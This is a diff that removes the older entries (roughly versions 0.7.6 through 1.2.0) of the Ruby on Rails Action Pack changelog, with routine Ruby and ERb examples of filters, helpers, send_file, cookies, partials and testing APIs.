-* Added that all renders and redirects now return false, so they can be used as the last line in before_filters to stop execution.
-
- Before:
- def authenticate
- unless @session[:authenticated]
- redirect_to :controller => "account", :action => "login"
- return false
- end
- end
-
- After:
- def authenticate
- redirect_to(:controller => "account", :action => "login") unless @session[:authenticated]
- end
-
-* Added conditional filters #431 [Marcel Molina Jr.]. Example:
-
- class JournalController < ActionController::Base
- # only require authentication if the current action is edit or delete
- before_filter :authorize, :only_on => [ :edit, :delete ]
-
- private
- def authorize
- # redirect to login unless authenticated
- end
- end
-
-* Added Base#render_nothing as a cleaner way of doing render_text "" when you're not interested in returning anything but an empty response.
-
-* Added the possibility of passing nil to UrlHelper#link_to to use the link itself as the name
-
-
-## 1.2.0 (January 4th, 2005) ##
-
-* Added MemCacheStore for storing session data in Danga's MemCache system *Bob Cottrell*
- Depends on: MemCached server (http://www.danga.com/memcached/), MemCache client (http://raa.ruby-lang.org/project/memcache/)
-
-* Added thread-safety to the DRbStore #66, #389 *Ben Stiglitz*
-
-* Added DateHelper#select_time and DateHelper#select_second #373 *Scott Baron*
-
-* Added :host and :protocol options to url_for and friends to redirect to another host and protocol than the current.
-
-* Added class declaration for the MissingFile exception #388 *Kent Sibilev*
-
-* Added "short hypertext note with a hyperlink to the new URI(s)" to redirects to fulfill compliance with RFC 2616 (HTTP/1.1) section 10.3.3 #397 *Tim Bates*
-
-* Added second boolean parameter to Base.redirect_to_url and Response#redirect to control whether the redirect is permanent or not (301 vs 302) #375 *Hodel*
-
-* Fixed redirects when the controller and action is named the same. Still haven't fixed same controller, module, and action, though #201 *Josh Peek*
-
-* Fixed problems with running multiple functional tests in Rails under 1.8.2 by including hack for test/unit weirdness
-
-* Fixed that @request.remote_ip didn't work in the test environment #369 *Bruno Mattarollo*
-
-
-## 1.1.0 ##
-
-* Added search through session to clear out association caches at the end of each request. This makes it possible to place Active Record objects
- in the session without worrying about stale data in the associations (the main object is still subject to caching, naturally) #347 *Tobias Lütke*
-
-* Added more informative exception when using helper :some_helper and the helper requires another file that fails, you'll get an
- error message tells you what file actually failed to load, rather than falling back on assuming it was the helper file itself #346 *dblack*
-
-* Added use of *_before_type_cast for all input and text fields. This is helpful for getting "100,000" back on a integer-based
- validation where the value would normally be "100".
-
-* Added Request#port_string to get something like ":8080" back on 8080 and "" on 80 (or 443 with https).
-
-* Added Request#domain (returns string) and Request#subdomains (returns array).
-
-* Added POST support for the breakpoint retries, so form processing that raises an exception can be retried with the original request *Florian Gross*
-
-* Fixed regression with Base#reset_session that wouldn't use the DEFAULT_SESSION_OPTIONS *adam@the-kramers.net*
-
-* Fixed error rendering of rxml documents to not just swallow the exception and return 0 (still not guessing the right line, but hey)
-
-* Fixed that textilize and markdown would instantiate their engines even on empty strings. This also fixes #333 *Ulysses*
-
-* Fixed UrlHelper#link_to_unless so it doesn't care if the id is a string or fixnum *Ryan Davis*
-
-
-## 1.0.1 ##
-
-* Fixed a bug that would cause an ApplicationController to require itself three times and hence cause filters to be run three times *evl*
-
-
-## 1.0 ##
-
-* Added that controllers will now attempt to require a model dependency with their name and in a singular attempt for their name.
- So both PostController and PostsController will automatically have the post.rb model required. If no model is found, no error is raised,
- as it is then expected that no match is available and the programmer will have included his own models.
-
-* Fixed DateHelper#date_select so that you can pass include_blank as an option even if you don't use start_year and end_year #59 *what-a-day*
-
-* Added that controllers will now search for a layout in $template_root/layouts/$controller_name.r(html|xml), so PostsController will look
- for layouts/posts.rhtml or layouts/posts.rxml and automatically configure this layout if found #307 *Marcel Molina Jr.*
-
-* Added FormHelper#radio_button to work with radio buttons like its already possible with check boxes *Michael Koziarski*
-
-* Added TemplateError#backtrace that makes it much easier to debug template errors from unit and functional tests
-
-* Added display of error messages with scaffolded form pages
-
-* Added option to ERB templates to swallow newlines by using <% if something -%> instead of just <% if something %>. Example:
-
- class SomeController < ApplicationController
- <% if options[:scaffold] %>
- scaffold :<%= singular_name %>
- <% end %>
- helper :post
-
- ...produces this on post as singular_name:
-
- class SomeController < ApplicationController
-
- scaffold :post
-
- helper :post
-
- ...where as:
-
- class SomeController < ApplicationController
- <% if options[:scaffold] -%>
- scaffold :<%= singular_name %>
- <% end -%>
- helper :post
-
- ...produces:
-
- class SomeController < ApplicationController
- scaffold :post
- helper :post
-
- *This undocumented gem for ERb was uncovered by bitsweat*
-
-* Fixed CgiRequest so that it'll now accept session options with Symbols as keys (as the documentation points out) *Suggested by Andreas*
-
-* Added that render_partial will always by default include a counter with value 1 unless there is a counter passed in via the
- local_assigns hash that overrides it. As a result, render_collection_of_partials can still be written in terms of render_partial
- and partials that make use of a counter can be called without problems from both render_collection_of_partials as well as
- render_partial #295 *Marcel Molina Jr.*
-
-* Fixed CgiRequest#out to fall back to #write if $stdout doesn't have #syswrite *Jeremy Kemper*
-
-* Fixed all helpers so that they use XHTML compliant double quotes for values instead of single quotes *htonl/Jeremy Kemper*
-
-* Added link_to_image(src, options = {}, html_options = {}). Documentation:
-
- Creates a link tag to the image residing at the +src+ using an URL created by the set of +options+. See the valid options in
- link:classes/ActionController/Base.html#M000021. It's also possible to pass a string instead of an options hash to
- get a link tag that just points without consideration. The <tt>html_options</tt> works jointly for the image and ahref tag by
- letting the following special values enter the options on the image and the rest goes to the ahref:
-
- ::alt: If no alt text is given, the file name part of the +src+ is used (capitalized and without the extension)
- ::size: Supplied as "XxY", so "30x45" becomes width="30" and height="45"
- ::align: Sets the alignment, no special features
-
- The +src+ can be supplied as a...
- * full path, like "/my_images/image.gif"
- * file name, like "rss.gif", that gets expanded to "/images/rss.gif"
- * file name without extension, like "logo", that gets expanded to "/images/logo.png"
-
-* Fixed to_input_field_tag so it no longer explicitly uses InstanceTag.value if value was specified in the options hash *evl*
-
-* Added the possibility of having validate be protected for assert_(in)valid_column #263 *Tobias Lütke*
-
-* Added that ActiveRecordHelper#form now calls url_for on the :action option.
-
-* Added all the HTTP methods as alternatives to the generic "process" for functional testing #276 *Tobias Lütke*. Examples:
-
- # Calls Controller#miletone with a GET request
- process :milestone
-
- # Calls Controller#miletone with a POST request that has parameters
- post :milestone, { "name" => "David" }
-
- # Calls Controller#milestone with a HEAD request that has both parameters and session data
- head :milestone, { "id" => 1 }, { "user_id" => 23 }
-
- This is especially useful for testing idiomatic REST web services.
-
-* Added proper handling of HEAD requests, so that content isn't returned (Request#head? added as well) #277 *Eric Hodel*
-
-* Added indifference to whether @headers["Content-Type"], @headers["Content-type"], or @headers["content-type"] is used.
-
-* Added TestSession#session_id that returns an empty string to make it easier to functional test applications that doesn't use
- cookie-based sessions #275 *jcf*
-
-* Fixed that cached template loading would still check the file system to see if the file existed #258 *Andreas Schwarz*
-
-* Added options to tailor header tag, div id, and div class on ActiveRecordHelper#error_messages_for *Josh Peek*
-
-* Added graceful handling of non-alphanumeric names and misplaced brackets in input parameters *Jeremy Kemper*
-
-* Added a new container for cookies that makes them more intuative to use. The old methods of cookie and @cookies have been deprecated.
-
- Examples for writing:
-
- cookies["user_name"] = "david" # => Will set a simple session cookie
- cookies["login"] = { "value" => "XJ-122", "expires" => Time.now + 360} # => Will set a cookie that expires in 1 hour
-
- Examples for reading:
-
- cookies["user_name"] # => "david"
- cookies.size # => 2
-
- Read more in ActionController::Cookies
-
- NOTE: If you were using the old accessor (cookies instead of @cookies), this could potentially break your code -- if you expect a full cookie object!
-
-* Added the opportunity to defined method_missing on a controller which will handle all requests for actions not otherwise defined #223 *timb*
-
-* Fixed AbstractRequest#remote_ip for users going through proxies - Patch #228 *Eric Hodel*
-
-* Added Request#ssl? which is shorthand for @request.protocol == "https://"
-
-* Added the choice to call form_tag with no arguments (resulting in a form posting to current action) *Jeremy Kemper*
-
-* Upgraded to Builder 1.2.1
-
-* Added :module as an alias for :controller_prefix to url_for and friends, so you can do redirect_to(:module => "shop", :controller => "purchases")
- and go to /shop/purchases/
-
-* Added support for controllers in modules through @params["module"].
-
-* Added reloading for dependencies under cached environments like FastCGI and mod_ruby. This makes it possible to use those environments for development.
- This is turned on by default, but can be turned off with ActionController::Base.reload_dependencies = false in production environments.
-
- NOTE: This will only have an effect if you use the new model, service, and observer class methods to mark dependencies. All libraries loaded through
- require will be "forever" cached. You can, however, use ActionController::Base.load_or_require("library") to get this behavior outside of the new
- dependency style.
-
-* Added that controllers will automatically require their own helper if possible. So instead of doing:
-
- class MsgController < ApplicationController
- helper :msg
- end
-
- ...you can just do:
-
- class MsgController < ApplicationController
- end
-
-* Added dependencies_on(layer) to query the dependencies of a controller. Examples:
-
- MsgController.dependencies_on(:model) # => [ :post, :comment, :attachment ]
- MsgController.dependencies_on(:service) # => [ :notification_service ]
- MsgController.dependencies_on(:observer) # => [ :comment_observer ]
-
-* Added a new dependency model with the class methods model, service, and observer. Example:
-
- class MsgController < ApplicationController
- model :post, :comment, :attachment
- service :notification_service
- observer :comment_observer
- end
-
- These new "keywords" remove the need for explicitly calling 'require' in most cases. The observer method even instantiates the
- observer as well as requiring it.
-
-* Fixed that link_to would escape & in the url again after url_for already had done so
-
-
-## 0.9.5 (28) ##
-
-* Added helper_method to designate that a given private or protected method you should available as a helper in the view. *Jeremy Kemper*
-
-* Fixed assert_rendered_file so it actually verifies if that was the rendered file *htonl*
-
-* Added the option for sharing partial spacer templates just like partials themselves *radsaq*
-
-* Fixed that Russia was named twice in country_select *alexey*
-
-* Fixed request_origin to use remote_ip instead of remote_addr *Jeremy Kemper*
-
-* Fixed link_to breakage when nil was passed for html_options *alexey*
-
-* Fixed redirect_to on a virtual server setup with apache with a port other than the default where it would forget the port number *seanohalpin*
-
-* Fixed that auto-loading webrick on Windows would cause file uploads to fail *Jeremy Kemper*
-
-* Fixed issues with sending files on WEBrick by setting the proper binmode *Jeremy Kemper*
-
-* Added send_data as an alternative to send_file when the stream is not read off the filesystem but from a database or generated live *Jeremy Kemper*
-
-* Added a new way to include helpers that doesn't require the include hack and can go without the explicit require. *Jeremy Kemper*
-
- Before:
-
- module WeblogHelper
- def self.included(controller) #:nodoc:
- controller.ancestors.include?(ActionController::Base) ? controller.add_template_helper(self) : super
- end
- end
-
- require 'weblog_helper'
- class WeblogController < ActionController::Base
- include WeblogHelper
- end
-
- After:
-
- module WeblogHelper
- end
-
- class WeblogController < ActionController::Base
- helper :weblog
- end
-
-* Added a default content-type of "text/xml" to .rxml renders *Ryan Platte*
-
-* Fixed that when /controller/index was requested by the browser, url_for would generates wrong URLs *Ryan Platte*
-
-* Fixed a bug that would share cookies between users when using FastCGI and mod_ruby *The Robot Co-op*
-
-* Added an optional third hash parameter to the process method in functional tests that takes the session data to be used *alexey*
-
-* Added UrlHelper#mail_to to make it easier to create mailto: style ahrefs
-
-* Added better error messages for layouts declared with the .rhtml extension (which they shouldn't) *geech*
-
-* Added another case to DateHelper#distance_in_minutes to return "less than a minute" instead of "0 minutes" and "1 minute" instead of "1 minutes"
-
-* Added a hidden field to checkboxes generated with FormHelper#check_box that will make sure that the unchecked value (usually 0)
- is sent even if the checkbox is not checked. This relieves the controller from doing custom checking if the checkbox wasn't
- checked. BEWARE: This might conflict with your run-on-the-mill work-around code. *Tobias Lütke*
-
-* Fixed error_message_on to just use the first if more than one error had been added *Marcel Molina Jr.*
-
-* Fixed that URL rewriting with /controller/ was working but /controller was not and that you couldn't use :id on index *geech*
-
-* Fixed a bug with link_to where the :confirm option wouldn't be picked up if the link was a straight url instead of an option hash
-
-* Changed scaffolding of forms to use <label> tags instead of <b> to please W3C *evl*
-
-* Added DateHelper#distance_of_time_in_words_to_now(from_time) that works like distance_of_time_in_words,
- but where <tt>to_time</tt> is fixed to <tt>Time.now</tt>.
-
-* Added assert_flash_equal(expected, key, message), assert_session_equal(expected, key, message),
- assert_assigned_equal(expected, key, message) to test the contents of flash, session, and template assigns.
-
-* Improved the failure report on assert_success when the action triggered a redirection *alexey*.
-
-* Added "markdown" to accompany "textilize" as a TextHelper method for converting text to HTML using the Markdown syntax.
- BlueCloth must be installed in order for this method to become available.
-
-* Made sure that an active session exists before we attempt to delete it *Samuel*
-
-* Changed link_to with Javascript confirmation to use onclick instead of onClick for XHTML validity *Scott Barron*
-
-
-## 0.9.0 (43) ##
-
-* Added support for Builder-based templates for files with the .rxml extension. These new templates are an alternative to ERb that
- are especially useful for generating XML content, such as this RSS example from Basecamp:
-
- xml.rss("version" => "2.0", "xmlns:dc" => "http://purl.org/dc/elements/1.1/") do
- xml.channel do
- xml.title(@feed_title)
- xml.link(@url)
- xml.description "Basecamp: Recent items"
- xml.language "en-us"
- xml.ttl "40"
-
- for item in @recent_items
- xml.item do
- xml.title(item_title(item))
- xml.description(item_description(item)) if item_description(item)
- xml.pubDate(item_pubDate(item))
- xml.guid(@person.firm.account.url + @recent_items.url(item))
- xml.link(@person.firm.account.url + @recent_items.url(item))
-
- xml.tag!("dc:creator", item.author_name) if item_has_creator?(item)
- end
- end
- end
- end
-
- ...which will generate something like:
-
- <rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/">
- <channel>
- <title>Web Site Redesign</title>
- <link>http://www.basecamphq.com/clients/travelcenter/1/</link>
- <description>Basecamp: Recent items</description>
- <language>en-us</language>
- <ttl>40</ttl>
- <item>
- <title>Post: don't you know</title>
- <description>&amp;lt;p&amp;gt;deeper and down&amp;lt;/p&amp;gt;</description>
- <pubDate>Fri, 20 Aug 2004 21:13:50 CEST</pubDate>
- <guid>http://www.basecamphq.com/clients/travelcenter/1/msg/assets/96976/comments</guid>
- <link>http://www.basecamphq.com/clients/travelcenter/1/msg/assets/96976/comments</link>
- <dc:creator>David H. Heinemeier</dc:creator>
- </item>
- <item>
- <title>Milestone completed: Design Comp 2</title>
- <pubDate>Mon, 9 Aug 2004 14:42:06 CEST</pubDate>
- <guid>http://www.basecamphq.com/clients/travelcenter/1/milestones/#49</guid>
- <link>http://www.basecamphq.com/clients/travelcenter/1/milestones/#49</link>
- </item>
- </channel>
- </rss>
-
- The "xml" local variable is automatically available in .rxml templates. You construct the template by calling a method with the name
- of the tag you want. Options for the tag can be specified as a hash parameter to that method.
-
- Builder-based templates can be mixed and matched with the regular ERb ones. The only thing that differentiates them is the extension.
- No new methods have been added to the public interface to handle them.
-
- Action Pack ships with a version of Builder, but it will use the RubyGems version if you have one installed.
-
- Read more about Builder on: http://onestepback.org/index.cgi/Tech/Ruby/StayingSimple.rdoc
-
- *Builder is created by Jim Weirich*
-
-* Added much improved support for functional testing *what-a-day*.
-
- # Old style
- def test_failing_authenticate
- @request.request_uri = "/login/authenticate"
- @request.action = "authenticate"
- @request.request_parameters["user_name"] = "nop"
- @request.request_parameters["password"] = ""
-
- response = LoginController.process_test(@request)
-
- assert_equal "The username and/or password you entered is invalid.", response.session["flash"]["alert"]
- assert_equal "http://37signals.basecamp.com/login/", response.headers["location"]
- end
-
- # New style
- def test_failing_authenticate
- process :authenticate, "user_name" => "nop", "password" => ""
- assert_flash_has 'alert'
- assert_redirected_to :action => "index"
- end
-
- See a full example on http://codepaste.org/view/paste/334
-
-* Increased performance by up to 100% with a revised cookie class that fixes the performance problems with the
- default one that ships with 1.8.1 and below. It replaces the inheritance on SimpleDelegator with DelegateClass(Array)
- following the suggestion from Matz on:
- http://groups.google.com/groups?th=e3a4e68ba042f842&seekm=c3sioe%241qvm%241%40news.cybercity.dk#link14
-
-* Added caching for compiled ERb templates. On Basecamp, it gave between 8.5% and 71% increase in performance *Andreas Schwarz*.
-
-* Added implicit counter variable to render_collection_of_partials [Marcel Molina Jr.]. From the docs:
-
- <%= render_collection_of_partials "ad", @advertisements %>
-
- This will render "advertiser/_ad.rhtml" and pass the local variable +ad+ to the template for display. An iteration counter
- will automatically be made available to the template with a name of the form +partial_name_counter+. In the case of the
- example above, the template would be fed +ad_counter+.
-
-* Fixed problems with two sessions being maintained on reset_session that would particularly screw up ActiveRecordStore.
-
-* Fixed reset_session to start an entirely new session instead of merely deleting the old. So you can now safely access @session
- after calling reset_ression and expect it to work.
-
-* Added @request.get?, @request.post?, @request.put?, @request.delete? as convenience query methods for @request.method *geech*
-
-* Added @request.method that'll return a symbol representing the HTTP method, such as :get, :post, :put, :delete *geech*
-
-* Changed @request.remote_ip and @request.host to work properly even when a proxy is in front of the application *geech*
-
-* Added JavaScript confirm feature to link_to. Documentation:
-
- The html_options have a special feature for creating javascript confirm alerts where if you pass
- :confirm => 'Are you sure?', the link will be guarded with a JS popup asking that question.
- If the user accepts, the link is processed, otherwise not.
-
-* Added link_to_unless_current as a UrlHelper method *Sam Stephenson*. Documentation:
-
- Creates a link tag of the given +name+ using an URL created by the set of +options+, unless the current
- controller, action, and id are the same as the link's, in which case only the name is returned (or the
- given block is yielded, if one exists). This is useful for creating link bars where you don't want to link
- to the page currently being viewed.
-
-* Fixed that UrlRewriter (the driver for url_for, link_to, etc) would blow up when the anchor was an integer *alexey*
-
-* Added that layouts defined with no directory defaults to layouts. So layout "weblog/standard" will use
- weblog/standard (as always), but layout "standard" will use layouts/standard.
-
-* Fixed that partials (or any template starting with an underscore) was publically viewable *Marten*
-
-* Added HTML escaping to text_area helper.
-
-* Added :overwrite_params to url_for and friends to keep the parameters as they were passed to the current action and only overwrite a subset.
- The regular :params will clear the slate so you need to manually add in existing parameters if you want to reuse them. *raphinou*
-
-* Fixed scaffolding problem with composite named objects *Moo Jester*
-
-* Added the possibility for shared partials. Example:
-
- <%= render_partial "advertisement/ad", ad %>
-
- This will render the partial "advertisement/_ad.rhtml" regardless of which controller this is being called from.
-
- *Jacob Fugal*
-
-* Fixed crash when encountering forms that have empty-named fields *James Prudente*
-
-* Added check_box form helper method now accepts true/false as well as 1/0 *what-a-day*
-
-* Fixed the lacking creation of all directories with install.rb *Dave Steinberg*
-
-* Fixed that date_select returns valid XHTML selected options *Andreas Schwarz*
-
-* Fixed referencing an action with the same name as a controller in url_for *what-a-day*
-
-* Fixed the destructive nature of Base#attributes= on the argument *Kevin Watt*
-
-* Changed ActionControllerError to decent from StandardError instead of Exception. It can now be caught by a generic rescue.
-
-* Added SessionRestoreError that is raised when a session being restored holds objects where there is no class available.
-
-* Added block as option for inline filters. So what used to be written as:
-
- before_filter Proc { |controller| return false if controller.params["stop_action"] }
-
- ...can now be as:
-
- before_filter { |controller| return false if controller.params["stop_action"] }
-
- *Jeremy Kemper*
-
-* Made the following methods public (was protected): url_for, controller_class_name, controller_name, action_name
- This makes it easier to write filters without cheating around the encapsulation with send.
-
-* ActionController::Base#reset_session now sticks even if you access @session afterwards *Kent Sibilev*
-
-* Improved the exception logging so the log file gets almost as much as in-browser debugging.
-
-* Changed base class setup from AbstractTemplate/ERbTemplate to ActionView::Base. This change should be harmless unless you were
- accessing Action View directly in which case you now need to reference the Base class.\
-
-* Added that render_collection_of_partials returns nil if the collection is empty. This makes showing a “no items” message easier.
- For example: <%= render_collection_of_partials("message", @messages) || "No messages found." %> *Sam Stephenson*
-
-* Added :month_before_year as an option to date_select to get the month select before the year. Especially useful for credit card forms.
-
-* Added :add_month_numbers to select_month to get options like "3 - March".
-
-* Removed Base.has_active_layout? as it couldn't answer the question without the instance. Use Base#active_layout instead.
-
-* Removed redundant call to update on ActionController::Base#close_session *Andreas Schwarz*
-
-* Fixed that DRb Store accidently started its own server (instead of just client) *Andreas*
-
-* Fixed strip_links so it now works across multiple lines *Chad Fowler*
-
-* Fixed the TemplateError exception to show the proper trace on to_s (useful for unit test debugging)
-
-* Implemented class inheritable attributes without eval *Caio Chassot*
-
-* Made TextHelper#concat accept binding as it would otherwise not work
-
-* The FormOptionsHelper will now call to_s on the keys and values used to generate options
-
-
-## 0.8.5 ##
-
-* Introduced passing of locally scoped variables between templates:
-
- You can pass local variables to sub templates by using a hash of with the variable
- names as keys and the objects as values:
-
- <%= render "shared/header", { "headline" => "Welcome", "person" => person } %>
-
- These can now be accessed in shared/header with:
-
- Headline: <%= headline %>
- First name: <%= person.first_name %>
-
-* Introduced the concept of partials as a certain type of sub templates:
-
- There's also a convenience method for rendering sub templates within the current
- controller that depends on a single object (we call this kind of sub templates for
- partials). It relies on the fact that partials should follow the naming convention
- of being prefixed with an underscore -- as to separate them from regular templates
- that could be rendered on their own. In the template for Advertiser#buy, we could have:
-
- <% for ad in @advertisements %>
- <%= render_partial "ad", ad %>
- <% end %>
-
- This would render "advertiser/_ad.rhtml" and pass the local variable +ad+
- for the template to display.
-
- == Rendering a collection of partials
-
- The example of partial use describes a familar pattern where a template needs
- to iterate over an array and render a sub template for each of the elements.
- This pattern has been implemented as a single method that accepts an array and
- renders a partial by the same name of as the elements contained within. So the
- three-lined example in "Using partials" can be rewritten with a single line:
-
- <%= render_collection_of_partials "ad", @advertisements %>
-
- So this will render "advertiser/_ad.rhtml" and pass the local variable +ad+ for
- the template to display.
-
-* Improved send_file by allowing a wide range of options to be applied *Jeremy Kemper*:
-
- Sends the file by streaming it 4096 bytes at a time. This way the
- whole file doesn't need to be read into memory at once. This makes
- it feasible to send even large files.
-
- Be careful to sanitize the path parameter if it coming from a web
- page. send_file(@params['path'] allows a malicious user to
- download any file on your server.
-
- Options:
- * <tt>:filename</tt> - specifies the filename the browser will see.
- Defaults to File.basename(path).
- * <tt>:type</tt> - specifies an HTTP content type.
- Defaults to 'application/octet-stream'.
- * <tt>:disposition</tt> - specifies whether the file will be shown inline or downloaded.
- Valid values are 'inline' and 'attachment' (default).
- * <tt>:buffer_size</tt> - specifies size (in bytes) of the buffer used to stream
- the file. Defaults to 4096.
-
- The default Content-Type and Content-Disposition headers are
- set to download arbitrary binary files in as many browsers as
- possible. IE versions 4, 5, 5.5, and 6 are all known to have
- a variety of quirks (especially when downloading over SSL).
-
- Simple download:
- send_file '/path/to.zip'
-
- Show a JPEG in browser:
- send_file '/path/to.jpeg', :type => 'image/jpeg', :disposition => 'inline'
-
- Read about the other Content-* HTTP headers if you'd like to
- provide the user with more information (such as Content-Description).
- http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.11
-
- Also be aware that the document may be cached by proxies and browsers.
- The Pragma and Cache-Control headers declare how the file may be cached
- by intermediaries. They default to require clients to validate with
- the server before releasing cached responses. See
- http://www.mnot.net/cache_docs/ for an overview of web caching and
- http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.9
- for the Cache-Control header spec.
-
-* Added pluralize method to the TextHelper that makes it easy to get strings like "1 message", "3 messages"
-
-* Added proper escaping for the rescues *Andreas Schwarz*
-
-* Added proper escaping for the option and collection tags *Andreas Schwarz*
-
-* Fixed NaN errors on benchmarking *Jim Weirich*
-
-* Fixed query string parsing for URLs that use the escaped versions of & or ; as part of a key or value
-
-* Fixed bug with custom Content-Type headers being in addition to rather than instead of the default header.
- (This bug didn't matter with neither CGI or mod_ruby, but FCGI exploded on it) *With help from Ara T. Howard*
-
-
-## 0.8.0 ##
-
-* Added select, collection_select, and country_select to make it easier for Active Records to set attributes through
- drop-down lists of options. Example:
-
- <%= select "person", "gender", %w( Male Female ) %>
-
- ...would give the following:
-
- <select name="person[gender]" id="person_gender"><option>Male</option><option>Female</option></select>
-
-* Added an option for getting multiple values on a single form name into an array instead of having the last one overwrite.
- This is especially useful for groups of checkboxes, which can now be written as:
-
- <input type="checkbox" name="rights[]" value="CREATE" />
- <input type="checkbox" name="rights[]" value="UPDATE" />
- <input type="checkbox" name="rights[]" value="DELETE" />
-
- ...and retrieved in the controller action with:
-
- @params["rights"] # => [ "CREATE", "UPDATE", "DELETE" ]
-
- The old behavior (where the last one wins, "DELETE" in the example) is still available. Just don't add "[]" to the
- end of the name. *Scott Baron*
-
-* Added send_file which uses the new render_text block acceptance to make it feasible to send large files.
- The files is sent with a bunch of voodoo HTTP headers required to get arbitrary files to download as
- expected in as many browsers as possible (eg, IE hacks). Example:
-
- def play_movie
- send_file "/movies/that_movie.avi"
- end
-
- *Jeremy Kemper*
-
-* render_text now accepts a block for deferred rendering. Useful for streaming large files, displaying
- a “please wait” message during a complex search, etc. Streaming example:
-
- render_text do |response|
- File.open(path, 'rb') do |file|
- while buf = file.read(1024)
- print buf
- end
- end
- end
-
- *Jeremy Kemper*
-
-* Added a new Tag Helper that can generate generic tags programmatically insted of through HTML. Example:
-
- tag("br", "clear" => "all") => <br clear="all" />
-
- ...that's usually not terribly interesting (unless you have a lot of options already in a hash), but it
- gives way for more specific tags, like the new form tag:
-
- form_tag({ :controller => "weblog", :action => "update" }, { :multipart => "true", "style" => "width: 200px"}) =>
- <form action="/weblog/update" enctype="multipart/formdata" style="width: 200px">
-
- There's even a "pretty" version for people who don't like to open tags in code and close them in HTML:
-
- <%= start_form_tag :action => "update" %>
- # all the input fields
- <%= end_form_tag %>
-
- (end_form_tag just returns "</form>")
-
-* The selected parameter in options_for_select may now also an array of values to be selected when
- using a multiple select. Example:
-
- options_for_select([ "VISA", "Mastercard", "Discover" ], ["VISA", "Discover"]) =>
- <option selected>VISA</option>\n<option>Mastercard</option>\n<option selected>Discover</option>
-
- *Scott Baron*
-
-* Changed the URL rewriter so controller_prefix and action_prefix can be used in isolation. You can now do:
-
- url_for(:controller_prefix => "clients")
-
- ...or:
-
- url_for(:action_prefix => "category/messages")
-
- Neither would have worked in isolation before (:controller_prefix required a :controller and :action_prefix required an :action)
-
-* Started process of a cleaner separation between Action Controller and ERb-based Action Views by introducing an
- abstract base class for views. And Amita adapter could be fitted in more easily now.
-
-* The date helper methods date_select and datetime_select now also use the field error wrapping
- (div with class fieldWithErrors by default).
-
-* The date helper methods date_select and datetime_select can now discard selects
-
-* Added option on AbstractTemplate to specify a different field error wrapping. Example:
-
- ActionView::AbstractTemplate.field_error_proc = Proc.new do |html, instance|
- "<p>#{instance.method_name + instance.error_message}</p><div style='background-color: red'>#{html}</div>"
- end
-
- ...would give the following on a Post#title (text field) error:
-
- <p>Title can't be empty</p>
- <div style='background-color: red'>
- <input id="post_title" name="post[title]" size="30" type="text" value="Hello World" />
- </div>
-
-* The UrlHelper methods url_for and link_to will now by default only return paths, not complete URIs.
- That should make it easier to fit a Rails application behind a proxy or load-balancer.
- You can overwrite this by passing :only_path => false as part of the options. *Suggested by U235*
-
-* Fixed bug with having your own layout for use with scaffolding *Kevin Radloff*
-
-* Fixed bug where redirect_to_path didn't append the port on non-standard ports *dhawkins*
-
-* Scaffolding plays nicely with single-table inheritance (LoadErrors are caught) *Jeremy Kemper*
-
-* Scaffolding plays nice with plural models like Category/categories *Jeremy Kemper*
-
-* Fixed missing suffix appending in scaffolding *Kevin Radloff*
-
-
-## 0.7.9 ##
-
-* The "form" method now present boolean fields from PostgreSQL as drop-down menu. *Scott*
-
-* Scaffolding now automatically attempts to require the class that's being scaffolded.
-
-* Scaffolding will use the current active layout, instead of its own, if one has been specified. Example:
-
- class WeblogController < ActionController::Base
- layout "layouts/weblog"
- scaffold :post
- end
-
- *Suggested by Scott*
-
-* Changed url_for (and all the that drives, like redirect_to, link_to, link_for) so you can pass it a symbol instead of a hash.
- This symbol is a method reference which is then called to calculate the url. Example:
-
- class WeblogController < ActionController::Base
- def update
- # do some update
- redirect_to :dashboard_url
- end
-
- protected
- def dashboard_url
- if @project.active?
- url_for :controller => "project", :action => "dashboard"
- else
- url_for :controller => "account", :action => "dashboard"
- end
- end
- end
-
-* Added default_url_options to specialize behavior for all url_for (and friends) calls:
-
- Overwrite to implement a number of default options that all url_for-based methods will use.
- The default options should come in form of a hash, just like the one you would use for
- url_for directly. Example:
-
- def default_url_options(options)
- { :controller_prefix => @project.active? ? "projects/" : "accounts/" }
- end
-
- As you can infer from the example, this is mostly useful for situations where you want to
- centralize dynamic dissions about the urls as they stem from the business domain. Please note
- that any individual url_for call can always override the defaults set by this method.
-
-
-* Changed url_for so that an "id" passed in the :params is not treated special. You need to use the dedicated :id to get
- the special auto path-params treatment. Considering the url http://localhost:81/friends/list
-
- url_for(:action => "show", :params => { "id" => 5 })
- ...used to give http://localhost:81/friends/show/5
- ......now gives http://localhost:81/friends/show?id=5
-
- If you want the automated id behavior, do:
-
- url_for(:action => "show", :id => 5 )
- ....which gives http://localhost:81/friends/show/5
-
-
-* Fixed problem with anchor being inserted before path parameters with url_for (and friends)
-
-
-## 0.7.8 ##
-
-* Fixed session bug where you couldn't store any objects that didn't exist in the standard library
- (such as Active Record objects).
-
-* Added reset_session method for Action Controller objects to clear out all objects in the session.
-
-* Fixed that exceptions raised during filters are now also caught by the default rescues
-
-* Added new around_filter for doing before and after filtering with a single object *Florian Weber*:
-
- class WeblogController < ActionController::Base
- around_filter BenchmarkingFilter.new
-
- # Before this action is performed, BenchmarkingFilter#before(controller) is executed
- def index
- end
- # After this action has been performed, BenchmarkingFilter#after(controller) is executed
- end
-
- class BenchmarkingFilter
- def initialize
- @runtime
- end
-
- def before
- start_timer
- end
-
- def after
- stop_timer
- report_result
- end
- end
-
-* Added the options for specifying a different name and id for the form helper methods than what is guessed *Florian Weber*:
-
- text_field "post", "title"
- ...just gives: <input id="post_title" name="post[title]" size="30" type="text" value="" />
-
- text_field "post", "title", "id" => "title_for_post", "name" => "first_post_title"
- ...can now give: <input id="title_for_post" name="first_post_title" size="30" type="text" value="" />
-
-* Added DebugHelper with a single "debug" method for doing pretty dumps of objects in the view
- (now used in the default rescues to better present the contents of session and template variables)
-
-* Added note to log about the templates rendered within layouts (before just the layout was shown)
-
-* Fixed redirects on https setups *Andreas*
-
-* Fixed scaffolding problem on the edit action when using :suffix => true *Scott*
-
-* Fixed scaffolding problem where implementing list.rhtml wouldn't work for the index action
-
-* URLs generated now uses &amp; instead of just & so pages using it can validate with W3C *Spotted by Andreas*
-
-
-## 0.7.7 ##
-
-* Fixed bug in CGI extension that prevented multipart forms from working
-
-
-## 0.7.6 ##
-
-* Included ERB::Util so all templates can easily escape HTML content with <%=h @person.content %>
-
-* All requests are now considered local by default, so everyone will be exposed to detailed debugging screens on errors.
